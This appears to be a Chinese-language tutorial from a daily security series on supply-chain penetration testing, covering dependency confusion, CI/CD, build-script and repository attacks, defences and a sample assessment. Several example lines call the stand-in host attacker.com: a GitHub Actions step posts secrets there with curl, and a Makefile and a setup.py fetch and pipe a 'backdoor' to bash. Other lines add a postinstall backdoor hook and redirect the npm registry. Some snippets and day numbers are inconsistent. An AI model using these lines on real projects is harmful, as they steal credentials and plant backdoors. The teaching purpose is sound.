Day-223-渗透测试中的供应链安全测试

# Day 247: 渗透测试中的供应链安全测试

> 渗透测试系列第 37 天 | 预计阅读时间：40 分钟 | 难度：★★★★★

---

## 清单 目录
1. [供应链安全概述](#供应链安全概述)
2. [软件供应链架构](#软件供应链架构)
3. [供应链攻击类型](#供应链攻击类型)
4. [依赖注入攻击](#依赖注入攻击)
5. [CI/CD 管道攻击](#cicd-管道攻击)
6. [构建系统攻击](#构建系统攻击)
7. [代码仓库安全](#代码仓库安全)
8. [第三方组件风险](#第三方组件风险)
9. [供应链安全测试方法](#供应链安全测试方法)
10. [检测与防御](#检测与防御)
11. [实战案例](#实战案例)
12. [总结与思考](#总结与思考)
13. [参考资料](#参考资料)

---

## 供应链安全概述

### 供应链安全重要性

软件供应链攻击已成为现代网络安全的主要威胁之一，攻击者通过污染软件开发、分发流程来植入恶意代码：

```
┌─────────────────────────────────────────────────────────────┐
│                    供应链安全重要性                          │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  著名供应链攻击案例：                                        │
│  ├── SolarWinds (2020)                                      │
│  │   └── 影响 18000+ 组织，包括美国政府                       │
│  ├── Codecov (2021)                                         │
│  │   └── 窃取凭证，影响数千客户                              │
│  ├── Kaseya (2021)                                          │
│  │   └── REvil 勒索软件，影响 800-1500 企业                    │
│  ├── Log4j (2021)                                           │
│  │   └── 广泛使用的日志库，影响全球                          │
│  └── XZ Utils (2024)                                        │
│      └── 后门植入，几乎成功                                  │
│                                                             │
│  为什么供应链攻击有效：                                      │
│  ├── 信任传递：下游信任上游                                  │
│  ├── 影响范围广：一次攻击影响数千组织                        │
│  ├── 隐蔽性强：合法签名、合法渠道                            │
│  └── 检测困难：混入正常代码中                                │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

### 供应链测试范围

```
供应链安全测试范围:
├── 代码仓库安全
│   ├── GitHub/GitLab
│   ├── 访问控制
│   └── 分支保护
├── 依赖管理安全
│   ├── npm/PyPI/Maven
│   ├── 依赖验证
│   └── 漏洞扫描
├── CI/CD 管道安全
│   ├── Jenkins/GitHub Actions
│   ├── 构建流程
│   └── 部署流程
├── 构建系统安全
│   ├── 构建环境
│   ├── 签名验证
│   └── 制品存储
└── 分发渠道安全
    ├── 包管理器
    ├── 下载站点
    └── 更新机制
```

### ! 测试警示

```
! 供应链安全测试警示:
├── 法律风险
│   ├── 测试第三方服务可能违法
│   ├── 测试公共仓库需谨慎
│   └── 遵守服务条款
├── 影响范围
│   ├── 可能影响下游用户
│   ├── 可能污染公共仓库
│   └── 做好隔离
└── 测试建议
    ├── 在私有环境测试
    ├── 使用测试仓库
    ├── 不发布恶意包
    └── 获得明确授权
```

---

## 软件供应链架构

### 典型软件供应链

```
软件供应链流程:
┌─────────────────────────────────────────────────────────────┐
│                                                             │
│  开发 → 提交 → 构建 → 测试 → 发布 → 分发 → 部署 → 运行       │
│   ↓      ↓      ↓      ↓      ↓      ↓      ↓      ↓       │
│  代码   PR     CI     测试   签名   仓库   部署   用户      │
│                                                             │
│  攻击点：                                                    │
│  ├── 代码提交：恶意代码注入                                  │
│  ├── CI/CD：窃取凭证、篡改构建                               │
│  ├── 依赖：恶意依赖包                                        │
│  ├── 构建：篡改编译过程                                      │
│  ├── 签名：窃取签名密钥                                      │
│  └── 分发：污染下载源                                        │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

### 关键组件

```
供应链关键组件:
├── 源代码管理
│   ├── GitHub
│   ├── GitLab
│   └── Bitbucket
├── 依赖仓库
│   ├── npm (JavaScript)
│   ├── PyPI (Python)
│   ├── Maven (Java)
│   ├── NuGet (.NET)
│   └── Docker Hub
├── CI/CD 平台
│   ├── Jenkins
│   ├── GitHub Actions
│   ├── GitLab CI
│   └── CircleCI
├── 构建系统
│   ├── Make/CMake
│   ├── Gradle/Maven
│   └── Webpack
└── 制品仓库
    ├── Artifactory
    ├── Nexus
    └── Container Registry
```

---

## 供应链攻击类型

### 攻击分类

```
供应链攻击分类:
├── 代码注入
│   ├── 恶意提交
│   ├── 后门植入
│   └── 逻辑炸弹
├── 依赖混淆
│   ├── 包名劫持
│   ├── 版本劫持
│   └── 命名空间混淆
├── CI/CD 攻击
│   ├── 凭证窃取
│   ├── 构建篡改
│   └── 管道注入
├── 构建攻击
│   ├── 编译器后门
│   ├── 构建脚本篡改
│   └── 签名窃取
└── 分发攻击
    ├── 仓库污染
    ├── 下载劫持
    └── 更新劫持
```

### 攻击复杂度

```
攻击复杂度评估:
├── 低复杂度
│   ├── 依赖混淆
│   ├── 公开凭证利用
│   └── 配置错误利用
├── 中复杂度
│   ├── CI/CD 管道注入
│   ├── 恶意 PR
│   └── 维护者账户劫持
└── 高复杂度
    ├── 编译器后门
    ├── 签名密钥窃取
    └── 长期潜伏攻击
```

---

## 依赖注入攻击

### 依赖混淆攻击

```
依赖混淆原理:
├── 公共仓库优先级高
│   └── npm/PyPI 优先于私有仓库
├── 包名猜测
│   └── 内部包名可能公开
└── 自动安装
    └── 开发者无感知安装
```

```bash
# 依赖混淆示例
# 1. 发现目标公司使用的内部包名
# 通过公开代码、错误消息等

# 2. 在公共仓库发布同名包
# npm
npm init -y
npm publish  # 发布到公共 npm

# PyPI
python setup.py sdist upload  # 发布到 PyPI

# 3. 等待目标安装
# 目标运行 npm install 或 pip install 时
# 会优先从公共仓库下载恶意包
```

### 恶意依赖包

```
恶意依赖包技术:
├── 名称相似
│   ├── 拼写错误 (typosquatting)
│   └── 相似名称
├── 版本劫持
│   ├── 发布更高版本
│   └── 包含恶意代码
├── 依赖链攻击
│   ├── 攻击间接依赖
│   └── 更难检测
└── 维护者劫持
    ├── 获取包维护权限
    └── 植入后门
```

```bash
# 检查依赖安全
# npm
npm audit
npm audit fix

# 查看依赖树
npm list --depth=0

# PyPI
pip-audit
safety check

# 检查依赖来源
cat package.json | grep -A 5 dependencies
cat requirements.txt
```

### 依赖攻击工具

```bash
# 使用 npm-audit 检查
npm audit --json | jq '.vulnerabilities'

# 使用 snyk 检查
snyk test

# 使用 dependabot
# GitHub 自动检查

# 使用 retire.js
retire.js

# 使用 OWASP Dependency-Check
dependency-check.sh --project test --scan .
```

---

## CI/CD 管道攻击

### CI/CD 攻击面

```
CI/CD 攻击面:
├── 配置文件
│   ├── .github/workflows/
│   ├── .gitlab-ci.yml
│   └── Jenkinsfile
├── 环境变量
│   ├── 敏感信息泄露
│   ├── 凭证存储
│   └── 密钥管理
├── 构建脚本
│   ├── 构建步骤注入
│   ├── 依赖下载
│   └── 测试执行
├── 部署流程
│   ├── 部署凭证
│   ├── 部署脚本
│   └── 目标系统
└── 第三方集成
    ├── 插件
    ├── Webhook
    └── API 密钥
```

### GitHub Actions 攻击

```yaml
# GitHub Actions 配置文件
# .github/workflows/ci.yml

name: CI
on: [push, pull_request]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      
      # 危险：pull_request_target 可访问 Secrets
      - name: Dangerous
        uses: ./some-action  # 可能恶意 action
      
      # 危险：执行 PR 中的代码
      - name: Run tests
        run: npm test  # PR 中代码可修改测试
```

```bash
# GitHub Actions 攻击技术

# 1. 恶意 Action
# 创建恶意 GitHub Action
# 诱导项目使用

# 2. 环境变量窃取
# 在 PR 中打印环境变量
echo "SECRET=${{ secrets.SECRET }}"

# 3. 依赖注入
# 修改 package.json 添加恶意依赖

# 4. 构建篡改
# 在构建过程中植入后门

# 检查 Actions 安全
# 审查所有使用的 Action
# 限制 pull_request_target 使用
# 最小化 Secrets 访问
```

### Jenkins 攻击

```bash
# Jenkins 攻击技术

# 1. 未授权访问
# 默认 Jenkins 可能未启用认证
curl http://jenkins:8080/api/json

# 2. 脚本控制台
# Jenkins 脚本控制台可执行 Groovy
# 完全控制 Jenkins

# 3. 凭证窃取
# Jenkins 存储大量部署凭证
# /var/lib/jenkins/secrets/

# 4. 插件漏洞
# Jenkins 插件可能有漏洞
# 定期更新插件

# 检查 Jenkins 安全
# 检查认证配置
# 检查凭证存储
# 检查插件版本
```

### CI/CD 凭证窃取

```
CI/CD 凭证位置:
├── GitHub Actions
│   ├── Settings → Secrets
│   └── Environment variables
├── GitLab CI
│   ├── Settings → CI/CD
│   └── Variables
├── Jenkins
│   ├── Credentials
│   └── ~/.jenkins/secrets/
└── CircleCI
    ├── Project Settings
    └── Environment Variables
```

```bash
# 窃取 CI/CD 凭证示例
# 在 CI 配置中添加
- name: Expose secrets
  run: |
    echo "AWS_KEY=${{ secrets.AWS_ACCESS_KEY }}"
    echo "AWS_SECRET=${{ secrets.AWS_SECRET_KEY }}"
    
# 或发送到外部
- name: Send secrets
  run: |
    curl -X POST https://attacker.com/collect \
      -d "secrets=${{ secrets.ALL_SECRETS }}"
```

---

## 构建系统攻击

### 构建脚本注入

```
构建脚本攻击点:
├── Makefile
│   └── make 命令执行
├── package.json
│   └── npm scripts
├── setup.py
│   └── Python 安装脚本
└── build.gradle
    └── Gradle 构建脚本
```

```bash
# Makefile 注入
# 正常 Makefile
build:
	gcc -o app main.c

# 恶意 Makefile
build:
	gcc -o app main.c
	curl https://attacker.com/backdoor | bash  # 隐藏的后门

# package.json 注入
{
  "scripts": {
    "build": "webpack",
    "postinstall": "node backdoor.js"  // 安装后执行
  }
}

# setup.py 注入
from setuptools import setup
import os
import subprocess

# 恶意代码
subprocess.run(["curl", "https://attacker.com/backdoor|bash"])

setup(
    name='package',
    version='1.0'
)
```

### 编译器后门

```
编译器后门原理:
├── 修改编译器
│   └── 特定代码插入后门
├── 难以检测
│   └── 源代码正常
└── 持久化
    └── 自复制后门
```

```
著名案例：Ken Thompson 编译器后门
(1984 年 Turing Award 演讲)

1. 修改 C 编译器
   - 当编译 login 程序时
   - 自动插入后门
   
2. 修改编译器源码
   - 当编译编译器时
   - 自动包含后门逻辑
   
3. 删除痕迹
   - 删除修改的源码
   - 后门永久存在
```

### 构建环境攻击

```bash
# 构建环境攻击技术

# 1. 污染构建环境
# 修改 PATH
export PATH=/tmp/malicious:$PATH

# 替换系统命令
cp /tmp/malicious/gcc /usr/bin/gcc

# 2. 依赖下载劫持
# 修改下载源
npm config set registry http://attacker.com/npm

# 3. 构建缓存污染
# 污染 ccache/ccache
echo "malicious" > ~/.ccache/cache

# 检查构建环境
which gcc
echo $PATH
npm config get registry
```

---

## 代码仓库安全

### GitHub 安全

```
GitHub 攻击面:
├── 账户劫持
│   ├── 凭证泄露
│   └── 2FA 绕过
├── 恶意 PR
│   ├── 代码注入
│   └── 依赖修改
├── 分支保护
│   ├── 无保护分支
│   └── 直接推送
├── Webhook
│   ├── 恶意 Webhook
│   └── 凭证泄露
└── Actions
    ├── 恶意 Action
    └── 凭证窃取
```

```bash
# GitHub 安全测试

# 1. 检查公开仓库
# 搜索敏感信息
https://github.com/search?q=org:target+password
https://github.com/search?q=org:target+api_key

# 2. 检查分支保护
# 查看分支保护设置
# Settings → Branches

# 3. 检查 Webhook
# Settings → Webhooks
# 检查可疑 Webhook

# 4. 检查 Actions
# Actions 标签
# 检查使用的 Action
```

### Git 安全

```
Git 安全问题:
├── 凭证泄露
│   ├── .git/config
│   └── ~/.git-credentials
├── 历史泄露
│   ├── 已删除的敏感文件
│   └── 仍可在历史中找到
├── 子模块攻击
│   └── 恶意子模块
└── Hook 注入
    └── .git/hooks/
```

```bash
# Git 凭证泄露检查
# 检查本地凭证
cat ~/.git-credentials
cat ~/.gitconfig

# 检查仓库历史中的敏感信息
git log --all --full-history -- "**/password*"
git log --all --full-history -- "**/secret*"

# 使用 truffleHog 检查
trufflehog git file://. --since=HEAD~10

# 使用 git-secrets
git secrets --scan

# 清理历史
git filter-branch --force --index-filter \
  "git rm --cached --ignore-unmatch SECRET_FILE" \
  --prune-empty --tag-name-filter cat -- --all
```

---

## 第三方组件风险

### 开源组件风险

```
开源组件风险:
├── 漏洞组件
│   ├── 已知漏洞
│   └── 0day 漏洞
├── 恶意组件
│   ├── 故意植入
│   └── 账户劫持
├── 废弃组件
│   ├── 不再维护
│   └── 漏洞不修复
└── 许可证风险
    └── 合规问题
```

### 组件安全测试

```bash
# 使用 SCA (Software Composition Analysis) 工具

# Snyk
snyk test
snyk monitor

# WhiteSource
wss-scan

# Black Duck
detect.sh

# Dependency-Track
# 部署 Dependency-Track 服务器
# 上传 SBOM 分析

# 生成 SBOM
# CycloneDX
cyclonedx-node-npm

# SPDX
spdx-sbom-generator
```

### 供应商风险评估

```
供应商评估清单:
├── 安全实践
│   ├── 安全开发流程
│   ├── 漏洞响应
│   └── 安全团队
├── 代码质量
│   ├── 代码审计
│   ├── 测试覆盖
│   └── 文档质量
├── 维护状态
│   ├── 更新频率
│   ├── 问题响应
│   └── 社区活跃
└── 合规认证
    ├── SOC 2
    ├── ISO 27001
    └── 其他认证
```

---

## 供应链安全测试方法

### 测试流程

```
供应链安全测试流程:
├── 1. 资产识别
│   ├── 识别所有依赖
│   ├── 识别 CI/CD 流程
│   └── 识别构建系统
├── 2. 威胁建模
│   ├── 识别攻击面
│   ├── 评估威胁
│   └── 确定优先级
├── 3. 安全测试
│   ├── 依赖扫描
│   ├── CI/CD 测试
│   ├── 构建测试
│   └── 仓库测试
├── 4. 风险评估
│   ├── 影响评估
│   ├── 可能性评估
│   └── 风险评级
└── 5. 修复建议
    ├── 短期修复
    ├── 长期改进
    └── 持续监控
```

### 测试工具

```
供应链安全工具:
├── 依赖扫描
│   ├── Snyk
│   ├── Dependabot
│   └── OWASP Dependency-Check
├── CI/CD 安全
│   ├── GitLeaks
│   ├── TruffleHog
│   └── CI/CD 审计工具
├── 构建安全
│   ├── Reproducible Builds
│   ├── Sigstore
│   └── in-toto
└── 监控
    ├── Snyk Monitor
    ├── Dependency-Track
    └── 自定义监控
```

### 测试检查清单

```
供应链安全检查清单:
├── 代码仓库
│   - [ ] 启用 2FA
│   - [ ] 分支保护
│   - [ ] 代码审查
│   - [ ] Webhook 审查
├── 依赖管理
│   - [ ] 依赖锁定
│   - [ ] 漏洞扫描
│   - [ ] 签名验证
│   - [ ] 私有仓库
├── CI/CD
│   - [ ] 最小权限
│   - [ ] Secrets 管理
│   - [ ] 构建隔离
│   - [ ] 审计日志
├── 构建系统
│   - [ ] 可重现构建
│   - [ ] 签名验证
│   - [ ] 构建环境隔离
│   └── 制品验证
└── 监控
    - [ ] 漏洞监控
    - [ ] 异常检测
    - [ ] 响应流程
    - [ ] 定期审计
```

---

## 检测与防御

### 检测技术

```
供应链攻击检测:
├── 依赖监控
│   ├── 新依赖告警
│   ├── 依赖变更告警
│   └── 漏洞告警
├── 构建监控
│   ├── 构建变更检测
│   ├── 构建产物验证
│   └── 签名验证
├── 行为监控
│   ├── 异常网络请求
│   ├── 异常文件操作
│   └── 异常进程
└── 情报监控
    ├── 恶意包监控
    ├── 威胁情报
    └── 社区告警
```

### 防御最佳实践

```
供应链安全最佳实践:
├── 代码仓库
│   ├── 启用 2FA
│   ├── 分支保护
│   ├── 代码审查
│   └── 最小权限
├── 依赖管理
│   ├── 锁定依赖版本
│   ├── 验证依赖签名
│   ├── 使用私有仓库
│   └── 定期更新
├── CI/CD 安全
│   ├── 最小权限原则
│   ├── Secrets 管理
│   ├── 构建隔离
│   └── 审计日志
├── 构建安全
│   ├── 可重现构建
│   ├── 签名验证
│   ├── 构建环境隔离
│   └── 制品验证
└── 持续监控
    ├── 漏洞扫描
    ├── 行为监控
    ├── 威胁情报
    └── 应急响应
```

### SLSA 框架

```
SLSA (Supply-chain Levels for Software Artifacts):
├── Level 1
│   └── 构建过程文档化
├── Level 2
│   └── 版本控制 + 可重现构建
├── Level 3
│   └── 安全构建环境 + 审计
└── Level 4
    └── 最高安全级别 + 双人审查
```

```
实施 SLSA:
├── 使用支持 SLSA 的构建系统
├── 生成构建证明 (provenance)
├── 验证构建证明
└── 持续改进级别
```

---

## 实战案例

### 案例一：企业供应链安全评估

#### 场景描述

```
客户：某科技企业
规模：500+ 开发人员
项目：100+ 代码仓库
目标：评估供应链安全
时间：4 周
```

#### 评估过程

```
Week 1: 资产识别
┌─────────────────────────────────────────────────────────┐
│ - 识别所有代码仓库                                      │
│   - GitHub: 50 个                                         │
│   - GitLab: 50 个                                         │
│                                                         │
│ - 识别依赖                                              │
│   - npm 包：500+                                          │
│   - PyPI 包：200+                                         │
│   - Maven 包：300+                                        │
│                                                         │
│ - 识别 CI/CD                                            │
│   - GitHub Actions: 30 个                                 │
│   - Jenkins: 20 个                                        │
└─────────────────────────────────────────────────────────┘

Week 2: 安全测试
┌─────────────────────────────────────────────────────────┐
│ - 依赖扫描                                              │
│   - 发现 50 个已知漏洞                                    │
│   - 发现 5 个恶意依赖风险                                 │
│                                                         │
│ - CI/CD 测试                                            │
│   - 发现 3 个未授权 Jenkins                               │
│   - 发现 10 个 Actions 配置问题                           │
│                                                         │
│ - 仓库测试                                              │
│   - 发现 20 个公开敏感信息                                │
│   - 发现 5 个分支保护缺失                                 │
└─────────────────────────────────────────────────────────┘

Week 3-4: 修复与改进
┌─────────────────────────────────────────────────────────┐
│ - 立即修复                                              │
│   - 移除敏感信息                                        │
│   - 启用分支保护                                        │
│   - 修复漏洞依赖                                        │
│                                                         │
│ - 长期改进                                              │
│   - 实施 SLSA Level 2                                   │
│   - 部署依赖监控                                        │
│   - 建立响应流程                                        │
└─────────────────────────────────────────────────────────┘
```

#### 发现的问题

```
严重:
├── 1. Jenkins 未授权访问
│   └── 可直接执行构建
├── 2. GitHub Secrets 泄露
│   └── AWS 凭证公开
└── 3. 恶意依赖风险
    └── 内部包名被注册

高危:
├── 4. 分支保护缺失
│   └── 可直接推送主分支
├── 5. 漏洞依赖
│   └── 多个严重漏洞
└── 6. Actions 配置不当
    └── pull_request_target 滥用
```

---

## 总结与思考

### 核心要点回顾

1. **供应链安全至关重要**
   - 攻击影响范围广
   - 检测困难
   - 信任链脆弱

2. **多层防御必要**
   - 代码仓库安全
   - 依赖管理安全
   - CI/CD 安全
   - 构建安全

3. **持续监控关键**
   - 漏洞监控
   - 行为监控
   - 威胁情报

4. **行业标准重要**
   - SLSA 框架
   - 签名验证
   - 可重现构建

5. **自动化必不可少**
   - 自动扫描
   - 自动修复
   - 自动告警

### 实战建议

1. **对组织**:
   - 实施供应链安全策略
   - 部署 SCA 工具
   - 建立响应流程
   - 定期审计

2. **对开发人员**:
   - 锁定依赖版本
   - 审查依赖变更
   - 保护凭证
   - 报告可疑活动

3. **对安全团队**:
   - 持续监控依赖
   - 测试 CI/CD 安全
   - 审计构建流程
   - 跟踪威胁情报

---

## 参考资料

### 学习资源

- **SLSA Framework**
  - https://slsa.dev/

- **OWASP Supply Chain Security**
  - https://owasp.org/www-project-supply-chain-security/

- **CISA Supply Chain Security**
  - https://www.cisa.gov/supply-chain-security

### 工具资源

| 工具 | 用途 | 链接 |
|------|------|------|
| **Snyk** | 依赖扫描 | https://snyk.io/ |
| **Dependabot** | 依赖更新 | https://github.com/dependabot |
| **TruffleHog** | Secrets 检测 | https://github.com/trufflesecurity/trufflehog |
| **GitLeaks** | Secrets 检测 | https://github.com/gitleaks/gitleaks |
| **Dependency-Check** | 依赖扫描 | https://owasp.org/www-project-dependency-check/ |
| **Sigstore** | 签名验证 | https://www.sigstore.dev/ |
| **in-toto** | 供应链安全 | https://in-toto.io/ |

### 书籍推荐

1. **《Software Supply Chain Security》**
   - 供应链安全权威指南

2. **《Securing DevOps》**
   - 作者：Julien Vehent
   - DevOps 安全实践

3. **《Continuous Security》**
   - 作者：Brendan O'Leary
   - 持续安全实践

---

*365 天信息安全技术系列 | Day 247 | 渗透测试系列 | 供应链安全测试*
*创建时间：2026-04-12 | 作者：安全专家 · 严谨专业版*